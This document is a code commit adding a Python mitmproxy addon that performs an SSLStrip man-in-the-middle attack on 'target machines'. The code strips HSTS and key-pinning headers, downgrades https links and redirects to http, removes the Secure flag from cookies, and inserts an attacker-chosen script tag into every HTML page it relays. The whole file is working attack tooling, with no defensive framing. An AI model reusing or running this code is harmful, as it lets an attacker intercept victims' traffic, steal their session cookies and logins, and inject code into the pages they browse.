Create sslstrip_injector.py

This should implement some level of SSLStrip on the target machines. Needs testing and probably some cleanup.

sslstrip_injector.py

@@ -0,0 +1,88 @@
+"""
+This script implements an sslstrip-like attack based on mitmproxy.
+https://moxie.org/software/sslstrip/
+
+Based on: https://github.com/mitmproxy/mitmproxy/blob/master/examples/complex/sslstrip.py
+"""
+from bs4 import BeautifulSoup
+from mitmproxy import ctx, http
+import argparse, re, urllib
+
+# set of SSL/TLS capable hosts
+secure_hosts = set()
+
+class Injector:
+    def __init__(self, path):
+        self.path = path
+
+    def response(self, flow: http.HTTPFlow) -> None:
+
+        flow.response.headers.pop('Strict-Transport-Security', None)
+        flow.response.headers.pop('Public-Key-Pins', None)
+
+        # strip links in response body
+        flow.response.content = flow.response.content.replace(b'https://', b'http://')
+
+        # strip meta tag upgrade-insecure-requests in response body
+        csp_meta_tag_pattern = b'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
+        flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE)
+
+        # strip links in 'Location' header
+        if flow.response.headers.get('Location', '').startswith('https://'):
+            location = flow.response.headers['Location']
+            hostname = urllib.parse.urlparse(location).hostname
+            if hostname:
+                secure_hosts.add(hostname)
+            flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
+
+        # strip upgrade-insecure-requests in Content-Security-Policy header
+        if re.search('upgrade-insecure-requests', flow.response.headers.get('Content-Security-Policy', ''), flags=re.IGNORECASE):
+            csp = flow.response.headers['Content-Security-Policy']
+            flow.response.headers['Content-Security-Policy'] = re.sub('upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE)
+
+        if self.path:
+            html = BeautifulSoup(flow.response.content, "html.parser")
+            #print(self.path)
+            #print(flow.response.headers)
+            if 'Content-Type' in flow.response.headers and 'text/html' in flow.response.headers['Content-Type']:
+                #print(flow.response.headers["content-type"])
+                script = html.new_tag(
+                    "script",
+                    src=self.path,
+                    type='application/javascript')
+                html.body.insert(0, script)
+                flow.response.content = str(html).encode("utf8")
+                print("\nScript injected.\n\n")
+            else:
+                print("\nWrong content type. Sorry.")
+                print(str(flow.response.headers['Content-Type']) + "\n\n")
+
+
+        # strip secure flag from 'Set-Cookie' headers
+        cookies =  flow.response.headers.get_all('Set-Cookie')
+        cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
+        flow.response.headers.set_all('Set-Cookie', cookies)
+
+
+    def request(self, flow):
+        flow.request.headers.pop('If-Modified-Since', None)
+        flow.request.headers.pop('Cache-Control', None)
+
+        # do not force https redirection
+        flow.request.headers.pop('Upgrade-Insecure-Requests', None)
+
+        # proxy connections to SSL-enabled hosts
+        if flow.request.pretty_host in secure_hosts:
+            flow.request.scheme = 'https'
+            flow.request.port = 443
+
+            # We need to update the request destination to whatever is specified in the host header:
+            # Having no TLS Server Name Indication from the client and just an IP address as request.host
+            # in transparent mode, TLS server name certificate validation would fail.
+            flow.request.host = flow.request.pretty_host
+
+def start():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("path", type=str)
+    args = parser.parse_args()
+    return Injector(args.path)